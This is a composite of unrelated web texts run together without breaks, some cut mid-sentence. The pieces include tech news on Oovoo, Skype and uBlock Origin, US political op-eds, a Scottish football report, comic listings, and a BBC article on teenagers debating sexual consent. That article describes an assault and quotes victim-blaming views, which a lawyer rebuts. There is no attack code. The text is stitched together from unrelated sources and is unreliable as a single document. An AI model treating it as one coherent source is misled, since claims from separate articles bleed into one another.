the typical motivational patterns that accompany behavior devoid of emotion. Having identified some interpretive biases and potential pitfalls of assessing motivated behavior, we see that motivation identification is possible but often a precarious and imprecise science. The next step is determining which motivational beliefs about the self and others are most influential to help predict behavior. A follow-up article will explore the beliefs that underlie our behavioral choices in more detail.
Common terminology in motivational research Self-report — the reliance upon individuals to provide personal interpretation of their motives, typically gathered through surveys or interviews. Implicit motive — automatic motives not readily recognized within the direct stream of consciousness of an individual. Habits — deeply engrained motives, behaviors, and actions acquired through experience or practice which are highly difficult to override. Spurious — an erroneous interpretation attributing causality to an unwarranted cause when examining the relationship between two or more factors. Traits — a generalized tendency to exhibit behaviors that are consistent and predictable. Self-serving bias — the process whereby success is often justified as internally derived, but task failure is attributed to external ascriptions. Confirmation bias — occurs when individuals identify problems or seek solutions that support their pre-existing notions while implicitly suppressing other plausible explanations of behavior or motivation.OSW Update! 29th May
What’s up with OSW!
• Currently editing Episode 51, Final Nitro! It’s always a pleasure chatting WCW (especially 2001) and it’ll be over an hour long. We’re away this weekend (woooo!) and I need 4 more sessions to finish it; likely gonna drop mid-June. Sorry for the delay, things coming up which mean I can’t edit on my days off. I’ve a few artists that asked for more time so fan artwork will be featured in episode 52! Maffew was kind enough to film an intro for us with a Chikara wrestler so it’ll open up Final Nitro. As always I’ll give you a heads’ up on FB & Twitter when the release day is set 🙂
• New brown t-sharts are being made! They sold out in a few hours which is great but sucks at the same time. The Classic Black one is available in most sizes in the US and the UK!
• Our Lesbian Pollen video is our first video to break 1,000,000 views! It’s gotta be the words “Top 10” and “Lesbian”. Anywoo, we’ve started uploading stand-alone segments from the show to keep the channel ticking over until we get full episodes back onto YT. WWE will give us the go-ahead but it’s a slow process. Already back is No Holds Barred: YouTube.com/watch?v=2tVe9Cdn92E
We did tape some NEW segments just for YouTube! But getting Final Nitro out is the main thing.
• V1 has been streaming his Destiny gameplay with brah MagicZepplin on Twitch the past 2 Saturdays (at 8pm GMT)! He said he’ll do some other games as well after clocking the Destiny DLC. I’ve been hanging out & answering questions in the chat room, but we’ll try sort a way I can join the voice chat without me having to drop 400 bucks for a PS4 😉
• We drop a new written Film or Game review on Tuesdays and Saturdays (unless there’s an OSW video dropping!). Today’s film is the EVIL DEAD remake! (2013)
• We’ll be introducing Ric Flair in West Ham on Saturday!
If you come along please say HELLLLOOOOOOO! We’ll be the three Irish lads with pints. We won’t bite…hard. (that’s an Austin Powers 1 reference). There should be a couple tickets left, check here. We’re really psyched for it! We should get him to record something for OSW. Any ideas?Oovoo, the video conferencing service popular with the young set, is helping Facebook (s fb) get some Google (s goog) Hangout-like coolness with a new Facebook app that offers up to 12-person video chats. The Facebook app is part of a big overhaul for Oovoo’s product lineup, which includes a redesigned iPad app that handles 12-way calls and displays four simultaneous video calls as well as a new web app that can also handle 12-way video chats.
New York City-based Oovoo is now up to 46 million registered users who are increasingly using Oovoo to broadcast their lives and spend hours on end with friends. The new products and updates should accelerate usage even more, especially now that Facebook is part of the Oovoo network. Facebook already has a video chat application thanks to a partnership with Skype (s msft) but that app doesn’t allow multiparty video. With the Oovoo app, users can now conduct 12-way video calls right inside Facebook and they can easily start calling either Oovoo users or other Facebook users. Facebook users who haven’t downloaded the app get prompted to do so the first time.
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The iPad app is also a big improvement for Oovoo. It supports four streams simultaneously and 12-way calling. Previously, the iPad, iPhone and Android apps supported six people on a call but could only display one other user live at a time. The iPad app’s UI has also been upgraded to allow one-click Facebook registrations and the ability for users to initiate calls by dragging and dropping contacts into the calls.
Oovoo is providing a new way to invite people into chats with Call Link, which allows users to send out a chat invitation via email, text or through social channels. For people who click on the link, they can fire up a new web-based version of Oovoo that doesn’t require a download.
Robert Jackman, Oovoo’s executive chairman, told me by using Facebook and enabling more sharing though Call Link, Oovoo has the ability to foster even more connections with people. And it highlights just how robust the video calling network is. While Skype provides multi-party calling as a premium service for computers, it doesn’t offer it yet for Facebook or its mobile apps. Oovoo was built as a cloud application, said Jackman, and it’s able to scale up quickly to handle more more users and multiparty conferencing.
The service has been on a tear since launching in late 2010. It’s become a go-to resource for teenagers and young adults, with more than 60 percent of Oovoo users under the age of 25. The average user is spending 200 minutes a month on the service, often keeping it on in the background as they go on about their lives.Circuit of The Americas track map. Image courtesy of COTA.
We've been fielding many great questions about tickets for this November |
post-World War I era, the United States has never truly "come home and isolated" itself; even in those years, the United States continued to play a role in global affairs, just not as a member of the League of Nations. After World War II, the Korean War, the Vietnam War, and the Cold War, the United States hardly isolated itself — if anything, quite the opposite.
Even today, after two disastrous, debt-widening wars enthusiastically supported by both Mullen and Gates, one is hard-pressed to identify a single example of the United States pulling back from "global leadership" or engagement. No one is talking about getting out of NATO or ending support in the Far East for South Korea, Taiwan, or Japan. If anything, the U.S. support for allies in the region is on the upswing.
In reality, the only single example that one could possibly identify of U.S. "retreat" would be cuts to the defense budget — and contrary to Gates and Mullen’s protestations, that is hardly a symbol of isolationism.
And at a time when the United States has just finished one war and is winding down another, reducing the military budget is not so much "retreat" as it is a prudent response to larger changes in the global environment and America’s overseas posture. It’s not surprising that the former head of the Joint Chiefs of Staff and the former defense secretary would be opposed to such measures, but to argue that the debt is the root of the problem is to cloud the issue.
Indeed, this is what makes Gates and Mullen’s rhetoric on the challenges of burgeoning so noxious. Gates, in particular, likes to argue that America’s red ink represents a failure of political leadership in Washington, an adherence to parochial interests rather than doing what’s best for the country. If only politicians could learn to compromise, says Gates, we could solve the country’s problems.
But, of course, how one views the country’s best interests differs from party to party and from congressman to congressman, from senator to senator. There are those who believe that raising taxes is the worst possible sin, others who feel the same about cutting social insurance programs, and finally those, like Gates and Mullen, who believe the defense budget must be protected at all costs. They are, quite simply, just one more interest group lobbying for their perceived national interests.
As they are decrying others’ supposed parochialism, Gates and Mullen are engaging in the exact same activity by prizing national defense above other pressing issues of national concern.
Indeed, like so many politicians who criticize the country’s red ink, it’s hardly accidental that neither Mullen nor Gates describes how the country should get its fiscal house in order — just that it should. Apparently, being an "adult" in Washington doesn’t involve identifying who gets hurt by cutting the deficit, but, rather, criticizing those who don’t share the same fiscal priorities.
Because of their positions of national prominence — which are supposedly outside the realm of politics — Gates and Mullen are accorded great respect and treated as serious voices whose opinions are selflessly intended to knock some sense into those in Washington who refuse to act like adults.
But though their verdict of parochialism being the disease that ails Washington might be correct, both men — with their hoary defense of Pentagon budgets fueled by scaremongering claims about the result of reductions in military spending — are really just part of the problem.Is the future of the computer flat?
The Consumer Electronics Show was a veritable parade of thin tablet computers. But are Microsoft and Apple's slate laptops leading a revolution that consumers want, or are they blindly following each other to disaster, like lemmings off a cliff? I know Megan leans toward the lemmings. I've been more optimistic. But now I'm wondering if Farhad Manjoo is right about this:
Today PCs are the world's most powerful procrastination machines. For half the day we use computers to get things done; during the other half, we use them to watch movies and TV, to read books, to sort through family photos, to listen to music, and to squander hours and hours surfing the Web. Computing is now often what people in the TV industry call a "lean-back" experience--when you're watching YouTube videos or reading an e-book, you're only occasionally interacting with the machine. So why do you need a keyboard and a mouse?
Computers are the ideal procrastination machine because they hold both our work and a million ways to procrastinate from it. This is different from television, where turning the cable box on signals to your brain: Power off. Work time over. If Apple is building a flat, personal entertainment tablet, it's counting on consumers to want a laptop that's less like a computer and more like a television: A device that we'll only power on when our minds are ready to power off.
I'm not ready for that machine. That computers contain the seeds to both my productivity and my procrastination is a source of perpetual stress. But in a weird way, I've learned to live with, and love, that combination of convenience and anxiety. I don't think I'm ready to part with either.Image caption Microsoft revealed it was buying Skype in May 2011, 17 months after filing a surveillance tech patent
Microsoft's online message, phone and video chat service Skype has denied making changes to its system "in order to provide law officers greater access" to its members' conversations.
It follows reports suggesting infrastructure upgrades had made it easier to hand on users' chat data.
Skype has now posted a blog saying the changes were made solely to improve user experience and reliability.
But it added it would pass on messages to law enforcement when "appropriate".
'Wiretap' patent
Concern about Microsoft's intentions were first raised over a year ago after the Conceivablytech blog revealed the firm had filed a US patent for Legal Intercept - a technology "capable of silently copying the communication between at least two entities" on Voip (voice over internet protocol) calls.
It specifically made reference to "Skype and Skype-like applications" despite being filed in 2009, 17 months before Microsoft paid $8.5bn (£5.4bn) to take over the service.
In May 2012 the issue was revived after security researcher Kostya Kortchinsky blogged that the firm had changed its "supernode" policy.
While in the past Skype had relied on users with high-spec systems to help its members' computers locate each other when a call was made, the firm had now switched to a system in which all such connections were made using in-house servers.
This prompted posts on some blogs linking the the move to the earlier surveillance patent which were then followed up by the news site Extreme Tech.
Reports in the mainstream media including articles by Forbes, and The Washington Post followed.
Image caption Skype made changes to its infrastructure after experiencing global blackouts in 2010 and 2011
The latter said industry and government officials had told it that Skype "has expanded its co-operation with law enforcement authorities to make online chats and other user information available to police".
It said its sources had spoken to it "on the condition of anonymity".
Peer-to-peer calls
Skype's blog post said it was "false" to believe the changes it had made allowed it to monitor and record audio and video calls. It said that while its servers helped members locate each other and maintain quality, the actual call data usually bypassed its equipment going directly from one users' equipment to another.
"Skype to Skype calls do not flow though our data centres and the'supernodes' are not involved in passing media (audio or video) between Skype clients," wrote Mark Gillett, the firm's chief development and operations officer.
But he added that group calls including more than two parties were an exception, "where a server aggregates the media streams (video) from multiple clients and routes this to clients that might not otherwise have enough bandwidth to establish connections to all our partners".
Instant messages
The Washington Post article had focused on written instant messages, rather than video/audio calls.
Mr Gillett denied Skype's moves had been designed to "facilitate law enforcement" but he did acknowledge the company would give the authorities access to messages if "a law enforcement entity follows the appropriate procedures" and the procedure was "technically feasible".
His post suggested it would be possible to pass on messages in some instances.
"In order to provide for the delivery and synchronisation of instant messages across multiple devices, and in order to manage the delivery of messages between clients situated behind some firewalls which prevent direct connections between clients, some messages are stored temporarily on our (Skype/Microsoft) servers for immediate or later delivery to a user," he wrote.
Skype's privacy policy acknowledges "IM messages are currently stored for a maximum of 30 days unless otherwise permitted or required by law".The City of Winnipeg is moving forward on the planned expansion of bus rapid transit to connect the eastern portion of the city.
The Eastern Corridor Study will aim to determine the best suitable route to connect downtown to eastern Winnipeg, as well as a plan for the Louise Bridge.
The study will also determine preferred locations for river crossings, identify transportation network improvements for pedestrians, cyclists, transit users and motorists, and plan neighbourhood development opportunities along the transit route, particularly at transit stops.
As with previous BRT development, the city is heavily turning to the public for the engagement process.
Several public workshops have been planned:
Oxford Heights Community Centre, 359 Dowling Avenue East
Monday, May 15
4:30 p.m. to 7:30 p.m.
Monday, May 15 4:30 p.m. to 7:30 p.m. Centennial Concert Hall, 555 Main Street
Tuesday, May 16
11 a.m. to 2 p.m.
Tuesday, May 16 11 a.m. to 2 p.m. Elmwood High School, 505 Chalmers Avenue
Tuesday, May 16
5 p.m. to 8 p.m.
Tuesday, May 16 5 p.m. to 8 p.m. East Elmwood Community Centre, 490 Keenleyside Street
Wednesday, May 17
11 a.m. to 2 p.m.
Wednesday, May 17 11 a.m. to 2 p.m. Notre Dame Community Centre, 271 Avenue de la Cathedrale
Wednesday, May 17
4:30 p.m. to 7:30 p.m.
Wednesday, May 17 4:30 p.m. to 7:30 p.m. Neeginan Centre, 181 Higgins Avenue
Thursday, May 18
4:30 p.m. to 7:30 p.m.
The study is expected to be completed by spring 2018.
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commentsThe WebExtension version of the popular content blocker uBlock Origin has landed on Mozilla's official Add-ons website for the Firefox web browser.
A big upcoming shift from legacy add-ons to WebExtensions forces add-on developers to port their legacy add-ons to ensure compatibility with Firefox 57 and newer versions of the browser.
Mozilla plans to cut off legacy support in Firefox 57 Stable which means essentially that add-ons that are not WebExtensions by the time won't work anymore in the web browser.
Legacy add-on developers face three major issues: first that Mozilla is still working on WebExtension APIs, second that WebExtensions will be limited in what developers can do with them when compared to legacy add-ons, and third that it is just a couple of months before the switch happens.
uBlock Origin WebExtension on Firefox AMO
Work on a WebExtension version of uBlock Origin began back in October 2016. The extension was released on GitHub back then which meant that it was not signed at that point in time. Users who were interested in the new version were only able to install it as a temporary add-on. Good for testing, but not really practicable for every day use.
The move to being distributed through Mozilla's official add-on repository takes care of the issue. The WebExtension version of uBlock Origin is available on the development channel on AMO currently.
Firefox users who want to install the extension can do so in the following way:
Load the official uBlock Origin page on the Mozilla website. Scroll down on the page until you find the Development Channel section on it. Click on Development Channel to expand it. Either click directly on the "add to Firefox" link to install the latest build -- which is the WebExtension version of uBlock Origin", or click on "see complete development channel history" to list previous versions as well.
Note: Existing uBlock Origin users will notice a delay during the process. This is caused by the importing of data from legacy storage to WebExtension storage. The process may take up to five minutes. The legacy storage won't be touched during the process so that it is possible to return to the legacy extension at a later point in time. The WebExtension storage will be deleted however when you uninstall the uBlock Origin WebExtension.
Other things worth noting are:
The new version is a hybrid extension right now. It will show up as legacy in about:addons.
script:contains filter do not work.
cosmetic filters are limited as the browser's user styles cannot be used for that anymore.
Users who are on the "legacy" dev channel will notice that the "dev channel will cease to work". These users need to install the new version manually it appears.
Closing Words
The publication of the WebExtension version of uBlock Origin on Mozilla AMO marks the next step in the development of the new version of the popular add-on for Firefox. There is work to be done for sure, but Gorhill still has several months before the change hits Firefox.
The first version is less powerful right now than the current legacy add-on version for Firefox. Most Firefox users may want to stick with the legacy add-on version for now because of that.
Summary Article Name uBlock Origin WebExtension lands on Firefox AMO Description The WebExtension version of the popular content blocker uBlock Origin has landed on Mozilla's official Add-ons website for the Firefox web browser. Author Martin Brinkmann Publisher Ghacks Technology News Logo
AdvertisementThat changed, and changed in a big way, as the parties re-sorted themselves along ideological lines. Today, almost all Democrats are to the left of all Republicans. The result is that the system behaves very differently when one party is in control than when they share. So differently, in fact, that you can fairly say that the country has one Constitution with two distinct modes of operation.
In Mode 1 — unified government — the minority party in Washington, shut out of power, has every incentive to make the majority’s life difficult, and does so. Its partisans, with no stake in whether anything gets done in Washington, treat the government as if it were under control of an invading army. The majority, lacking support from the out-of-power party, must govern on its own, which requires holding on to every element of its coalition, which means governing from the center of its party instead of the center of the country.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
In other words, Democrats, when in total control, have little choice but to govern from the left. Republicans, who are even more conservative than Democrats are liberal, govern from the right. Policy is driven toward the edges, instead of the middle.
At that point, a third force comes into play: independents and moderates, who make up nearly a third of the country. As policy veers off center and partisan bomb-throwing escalates, they grow angry and disillusioned with what they perceive as an establishment that ignores their views and puts partisanship ahead of patriotism.
These independents express their anger by rallying against incumbents. Their votes, combined with the out-party’s votes against the in-party, tilt the balance to divided government. We saw that on Tuesday, as we did in 2006 and 1994.
In Mode 2 — divided government — the dynamic is reversed. Both parties, responsible for governing, have a stake in success. Forced to negotiate and compromise, they drag policy toward the center, allowing moderates to feel represented instead of ignored. Most important, the country itself becomes more governable and meaningful laws stand a likelier chance of passage, because neither side can easily blame the other for whatever is wrong and because any major legislation needs support from both parties to pass.
Mode 2 is not, by a long shot, smooth and harmonious. It is contentious and stressful. But divided government, in today’s world of ideologically polarized parties, is the only way of attaining sustainable bipartisanship. And that is likely to remain the case for the foreseeable future.
By promising to transcend partisanship in an all-Democratic government, President Obama, in 2008, promised something he had no prayer of delivering. Paradoxically, the three words that will do the most to help him deliver on his broken promise of bipartisanship — and, indeed, that offer him the best hope of governing from the center, broadening his support and stabilizing his presidency — are these: Speaker John Boehner.Four books are out from Black Mask Comics in November. And they begin with the much-awaited comic written by Eric and Adrianne Palicki and drawn by Ari Syahrazad, No Angel.
NO ANGEL #1
(W) Eric Palicki, Adrianne Palicki (A) Ari Syahrazad (CA) Amancay Nahuelpan
Religious texts from The Bible to the Sumerian tablets speak of strange creatures descending from the heavens and mating with humans, their children the superhuman heroes of myth. None of this ever meant anything to Iraq War veteran Hannah Gregory, until she found herself in the crosshairs of a dangerous cult convinced that she’s a descendant of these mysterious bloodlines… bloodlines they’re determined to eradicate. No Angel is a cosmological and conspiratorial modern Western in the style of Preacher meets Justified by way of Jodorowsky. (STL023486)
MATURE THEMES
32pgs, FC $3.99
We also have the censored version of the cover to Black #3. There will be an uncensored version as well, but I guess we can work out why Diamond haven’t put it in their catalogue…
BLACK #3
(W) Kwanza Osajyefo (A) Jamal Igle (CA) Khary Randolph
In the aftermath of Cole’s incarceration, Kareem is beginning to doubt Juncture’s leadership. Meanwhile, the Mann Co. fends off an attack from a terrorist organization, and Detective Waters may have finally received the clue she needs to tie together Kareem’s disappearance with her investigation. (STL023493)
MATURE THEMES
CENSORED CVR—32pgs, FC $3.99
UNCENSORED CVR—32pgs, FC $3.99
And a couple more…
THE SKEPTICS #2
(W) Tini Howard (A) Devaki Neogi (CA) Tini Howard
“EVERYBODY’S SOMEBODY’S FOOL.” Max and Mary lean into their hijinks as they are brought face to face with the Russian threat – who aren’t all that threatening! Or are they? Can Coca-Cola and rock music save the world, or have things just gotten way too heavy? And what’s with these Russian cats, anyway? (STL023490)
MATURE THEMES
32pgs, FC $3.99
THE FOREVERS
(W) Curt Pires (A/CA) Eric Pfeiffer
One of The Forevers is dead. By the end of the night, it will be two. The hunt is on. The second chapter of Curt Pires and Eric Pfeiffer’s globe-spanning glamour horror! (STL023491)
MATURE THEMES
32pgs, FC $3.99
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None foundMedia playback is not supported on this device Highlights: Hibernian 1-0 Hearts
Simon Murray's stunning strike after just three minutes secured Hibernian's victory over local rivals Hearts in the Edinburgh derby.
The forward lashed the ball high into the net in the third minute, after nutmegging Hearts defender John Souttar inside the area.
Hibernian dominated for long spells at Easter Road and might have increased their lead through John McGinn.
Christophe Berra came closest to equalising, but Hearts fell short.
The defender saw a second-half header saved by Hibs goalkeeper Ofir Marciano, and the home side saw the victory out.
Victory moved Neil Lennon's side into the top six, one point and two places clear of their city rivals.
Hearts goalkeeper Jon McLaughlin got his hands to Murray's strike, but couldn't keep the ball out the net
These games have more of a reputation for fire and brimstone than football beauty, but this one did have a class beginning in the shape of Murray's goal.
The striker, so prolific at the start of the season and yet goalless in recent months, was only in the team due to Anthony Stokes' injury, but he didn't take long in exploiting his chance and, as it turned out, winning the game.
Hibs took the lead after Brandon Barker and Murray combined on the left. Murray cut through the Hearts defence and lashed a shot high into Joe McLaughlin's net. It was a strike that electrified a packed Easter Road and it was also a portent of things to come.
Lennon had the kind of pace in his team that his Hearts counterpart Craig Levein just does not possess. Barker, on the left wing for Hibs, sought to take on Michael Smith at every chance. On the other side, Martin Boyle took young Jamie Brandon to the cleaners more often than not.
Hibs defender Steven Whittaker blazed a good chance over the top for dominant Hibs
This was the way of it for much of the night. Hibs pressed and Hearts hung on. That was the flow of the game. Hearts had little ball, little accuracy and, apart from a Jamie Walker chance, little or no threat until late on.
The hosts, on the other hand, were full of running, if not goals. It wasn't that Hibs were bombarding McLaughlin with shots. What they were doing, though, was owning the ball.
They had mountains of possession and a few opportunities. Not many, given their dominance, but enough to put the game to bed a lot more comfortably than they did.
Hearts created few clear chances, with striker Kyle Lafferty isolated up front
Just before the break, Boyle forced a save from McLaughlin and Steven Whittaker really should have scored from the rebound. At half-time, Levein brought on 16-year-old Harry Cochrane for Rafal Grzelak, who was over-run in the heart of the midfield. Hibs' control of the game carried on regardless.
Murray threatened and Boyle wasted a decent chance. A slight edginess took control of the Hibs fans at this point. The lack of a second goal opened up the doomsday scenario of a late Hearts equaliser. Chasing the goal, Levein brought on Isma Goncalves.
Hearts pushed on, briefly. Berra had a header. Cole Stockton, a second-half substitute, gave the home crowd a fright with a close-range shot. So, too, did Isma on the follow-up. The finale would have been so much more straightforward for Hibs had McLaughlin not done so well in pushing away a McGinn shot nine minutes from time.
They would have deserved that second goal, but they didn't need it. Only 1-0, but comprehensive enough for Lennon and his followers. They basked in it afterwards, bragging rights in the bag.
Post-match reaction
Hibernian striker Simon Murray: "It was important to get the win, and the goal was special for me. I've been working on that, getting the shot away early. I got the head down and hit it as hard as I could. That's one I'll always remember.
"We got into positions that we could have done better in, but the guys at the back were solid. We were never under too much pressure, but it would have been good to get a few more.
"[Anthony] Stokes is a big player for us, but I've been working hard and with him being injured that gave me an opportunity. I feel that I work hard for the team and that's all I can do."So now it's Facebook's fault that Donald Trump was elected president.
If you have any number of friends who like sharing either memes or headlines, you've undoubtedly seen all sorts of fake news stories and fabricated facts.
We're not talking deliberate parodies, like The Onion, though even they fool people now and then. We're talking pieces that are just completely made up by little-known "media outlets" with vague names, and the stories are intended to be perceived as real. Because these stories don't show up anywhere else (because they're not true), people might be more inclined to click the link to read when they see them on Facebook, particularly when the headlines are outrageous.
There's now apparently both a push to act as though these fake stories had a major impact on the election and also that Facebook should do something about it. There has been coverage in the New York Times, Gizmodo, and elsewhere. Google and Facebook have responded in the past by trying to find ways to de-emphasize links from these sites and just recently announced they'll refuse to run ads on fake news sites.
There are a lot of concepts to parse on what seems like a minor election side story (and the latest reason for some people to ignore why Hillary Clinton actually lost), but it's worth exploring more deeply.
First of all, perhaps consider that thinking people voted because of fake information they were exposed to on Facebook says more about you than them. To the extent that people fall for fake news, the fact that such news affirms existing biases certainly plays a major factor. Does anybody have evidence to suggest that fake news actually caused anybody to change their vote?
There is a component to this particular argument that has a stench of "What a bunch of rubes the people are," connected directly to the results of a controversial election. Not that people don't believe in conspiracies or fall for fake news, but as Jesse Walker would point out, Americans across the spectrum believe in them, not just those who would vote for Trump. And I would point out that believing fabricated conspiracy stories perpetuated by fake news sites significantly influenced the election is itself kind of a conspiracy theory.
Second, do you know who was big about pointing out fake news stories? Donald Trump. All those accusations of sexual assault and harassment? He said they're all lies. A smear job. He said he was the victim.
We all understand what people demanding Facebook do something about "fake news" are actually getting at. They're generally not asking for Facebook to serve as an arbiter of the factual components of controversies (though I wouldn't put it past some people). Facebook is not very good at managing controvery. Rather what these folks have in mind that is that there are clearly news outlets that are producing fake news stories on purpose to get page views and earn some cash, and they're absolutely right.
But that's exactly how Trump would describe the media outlets who run with the assault stories. So what these frustrated people need to realize is that if they convince Facebook to censor sharing of these obviously fake stories, then there's going to be a fight over what a "fake story" actually is. There's a bias here—in media circles most obviously—that it's simply going to be a matter of cutting out the outlets making stuff up from whole cloth. These little no-name places that aren't known journalistic outfits.
Why would it end there? Given that Facebook is now so influential in putting information in front of people, the result will most certainly be a push to define "fake" down in order to keep stories that harm certain interests from spreading. And so, yes, forget letting algorithms do all the work. Eventually Facebook staff will be put in a position of determining what is and isn't "real" news. How many people think the Trump sexual assault scandal is fake? How many people think the Hillary Clinton email scandal is fake?
And then there's the American ethnocentricness of it all. A newly released report from Freedom House indicates that internet freedom has been declining for the past six years due to government crackdowns on social media. Before asking Facebook to censor away fake news stories, ask yourself, "Will folks like me be the ones actually deciding what counts as fake news, or it will be powerful and connected government leaders?" I am very certain that Turkish President Recep Tayyip Erdogan would be very happy to tell Facebook which news stories are fake.
I'm not fond of the fake news headlines, and it's frustrating to have to deal with them when they pop up in my news feed, though frequently I find that my Facebook friends have realized they're not true on their own not long after posting them. I am even more concerned, though, at the potential negative long-term consequences of asking Facebook to referee the "realness" of information people are posting.
(Traditional libertarian caveat: Facebook is a private company that can set up whatever posting guidelines it chooses. I would recommend against trying to play referee here.)Image caption The specially written drama depicts a sexual encounter between two teenagers
Warning: This article contains explicit sexual detail
Do teenagers understand sex and consent? To find out, a group of 16-18-year-olds were shown a specially written drama about an incident to see if they could work out if it was consensual sex or whether a crime had been committed.
Sex and consent is a much discussed issue at the moment and secondary schools are introducing sexual consent lessons.
The world of sex and relationships is a difficult one for teenagers to navigate. To hear in their own words where the challenges lie, the BBC brought together 24 teenagers, 12 of each sex, to watch a drama set at a house party and debate whether rape had been committed.
Their responses are revealing.
Media playback is unsupported on your device Media caption Dramatised encounter contains scenes of a sexual nature
1. The Scenario
The teenagers watch a dramatised house party in which a sexual encounter takes place. They debate whether they think the female character, Gemma, consented to that encounter, and then vote on what happened. Lawyer Abigail Husbands, who specialises in rape trials and advised on the storyline of the drama, gives her feedback.
Tom, 18, spots Gemma, 17, a girl he once briefly went out with, at a party chatting to his friend Phil. Gemma and Tom meet in the kitchen, where they have a friendly chat while getting some drinks.
Gemma dances with her friends. She shoots off flirty glances in the direction of Tom and Phil. Later Tom walks in on Phil and Gemma kissing in the bathroom. They laugh, he appears upset. Tom continues to drink then falls asleep in the kitchen. The party ends and Gemma makes up a bed for herself in the living room. Tom wakes up and stumbles in. A while later, Tom asks Gemma, who is dozing, if he can share the sofa with her as he is cold. She agrees but insists he must be quiet as she wants to sleep.
Tom moves closer to her and she stirs slightly. He tells her how gorgeous she looked at the party and reminds her of a previous episode when they had "ended up getting off" with each other. Gemma drifts off. Tom moves even closer and Gemma briefly opens her eyes but doesn't respond. Tom puts his hand on her face - she very slightly tries to move away but doesn't say anything. Tom's hands are on Gemma's face. He manoeuvres himself on top of Gemma, who remains rigidly still and silent. Tom puts his hands on the back of Gemma's neck and puts his penis in her mouth.
Two weeks later, Gemma contacts the police to say that someone she knew "did something" to her.
"It was a horrible case of miscommunication."
"One of the main things I was thinking - Tom, he seemed like a normal guy at a party. It could have been anyone. He could have been anyone just intoxicated at that moment, and he just went for it. That's the scary thing about it."
The lawyer's view: "There is a label of rape which can sometimes be unhelpful I think in these sorts of cases, because everybody's got a picture of a rapist in their mind, and it isn't a 17 or 18-year-old boy who has had a bit too much to drink at a party."
"She didn't say no - it could have just been because she couldn't be bothered to say no. We've all been in a situation with a boy trying to force himself on us - in the end you just kind of [say] 'OK, fine whatever'."
"I interpreted it in fact that she was afraid of him and afraid of what he would do if she started to resist and this submission is not a sign of consent."
"By her not saying no he then obviously took that as a yes, which is wrong but in his mind the point is that she didn't say no. She didn't actually say anything right. If she didn't show she was up for it at the same time she didn't do anything to stop it - so I think that it could be taken as consent."
The lawyer's view: "What you've got to look at is what she was doing. She was doing nothing. She wasn't responding, she had her arms down by her side. She wasn't kissing him, she wasn't inviting any of that. Looking at that, I'd say there was no reasonable belief in consent there."
"It can be classified as rape, but it's not... as bad... as some other cases, for example - this was only oral sex, not penetration. But we don't know the whole story. We don't know what she did in this to instigate the incident, but I don't think she's completely innocent."
The lawyer's view: "The definition of rape includes oral sex. Penetration with his penis of the mouth, vagina or anus is rape (if it is non-consensual and he doesn't believe they are consenting). There is no distinction. The sentence is the same whether it is a vaginal or oral rape."
"If she wanted it she should have given something back like he was kissing her face she didn't kiss him back. She was just lying there like a plank."
The lawyer's view: The law as it is now came into force in April 2004 and is similar to the law that has been in place for many years. Prosecutors will not look for evidence of a woman shouting out or saying "no". It is now understood that women often freeze in situations of rape when they are not consenting. That is why young people need to understand that they cannot carry on until they are told to stop. They should be having a dialogue about what is happening and asking whether they are happy to go further.
Did Gemma consent? teenage panel vote 13% Yes
54% No
33% Don't know
2. Tom's view
The panel are given more information about Tom and Gemma, they discuss the issue of consent and then vote on whether they think Tom believed he had consent.
Tom is arrested on a charge of rape. He maintains that he believes Gemma had consented. He says she sent him a text message inviting him to the party, which was signed off with three kisses. But the text message was sent to a group and not just to Tom. He points out that they got physically close when they chatted at the party. Gemma maintains the music was so loud they had to get close to hear each other. And he says she was flirting and constantly looking over at him. Tom, however, had been standing with Phil, whom it was revealed Gemma had had sex with the week before.
"You can flirt, and you can flirt, and you can flirt, but it's not an invitation."
The lawyer's view: "There is some understanding of this now. Young people are aware of it in the cold light of day, but they need to understand the full implications of getting it wrong"
"If we could say that Tom could be charged with a sex offence rather than rape, we would prefer that."
The lawyer's view: "There is certainly a feeling that jurors are reluctant to convict a young man of good character in these circumstances of rape. It comes back to the misconception of what a rapist is. It can be thought that rapists have to go out that evening intending to rape someone which is simply not the case. Like many serious crimes, wrong decisions made on the spur of the moment can have devastating consequences for all."
"She'd invited him to the party, they'd been in a relationship before so they obviously had a friendship - I don't think it was all him."
"I said yes because they'd been in a relationship in the past, they'd done sexual activity in the past... and she let him into her bed."
The lawyer's view: "What's important is whether she consented that night to that act. It doesn't matter how much they've been together beforehand. It doesn't matter that she had previously sent intimate pictures on Snapchat. None of that has a bearing on whether Gemma consented."
"He thinks that she flirted with him, that's - that's one side of this story, she thinks that she was just being friendly. It was loud, so they had to be close. That is the misunderstanding bit. But he did what he did."
Did Tom believe he had consent? teenage panel vote 54% Yes
30% No
16% Don't know
3. Gemma's view
This section focuses on how Gemma reacted. The teenagers are then asked to vote on whether they think Tom is guilty of rape.
Media playback is unsupported on your device Media caption How did Gemma react during the encounter? Contains scenes of a sexual nature
Tom says that he and Gemma had been kissing on the sofa, but when questioned about whether she had in fact kissed him back, he says he can't remember. He argues that at no point did Gemma say "stop", she didn't seem upset and that her lack of response indicated "she was into it". Gemma, however, says she didn't do anything because she hoped he would "get the message" and stop. She says she then "just froze".
"Calling this person a rapist implies that they did it with intent and with the worst emotions, and I don't think that's what Tom did. Even though |
of general election voters.
Polls indicate that Republicans have a golden opportunity to court independent voters who give Obama low marks for leadership and handling the economy. But some of the very conservative positions of the party's conservative core - like Social Security privatization and rejection of scientific findings on evolution - could become seriously liabilities.
"Barack Obama's best chance of re-election - and perhaps his only chance - is a Republican nominee who scares swing voters," says Cindy Rugeley, a political scientist at Texas Tech University.
Kyle Glazier of the Washington Bureau contributed to this report
richard.dunham@chron.compatti.hart@chron.com Twitter: @rickdunhamArsenal have now been linked with everyone from YaYa Sanongo (yeah, we got him on a free) to Lionel Messi, and now the funniest one yet; Luis Suarez. Does anyone who comprehends football really think that Liverpool would let Suarez leave Liverpool for Arsenal? And why would Suarez want to come to the Emirates? He openly hates the British media (okay, fair point) – it is my own humble opinion that Luis Suarez has been hounded out of English football by the FA the media, but mostly by Sky Sports News who have it in for him.
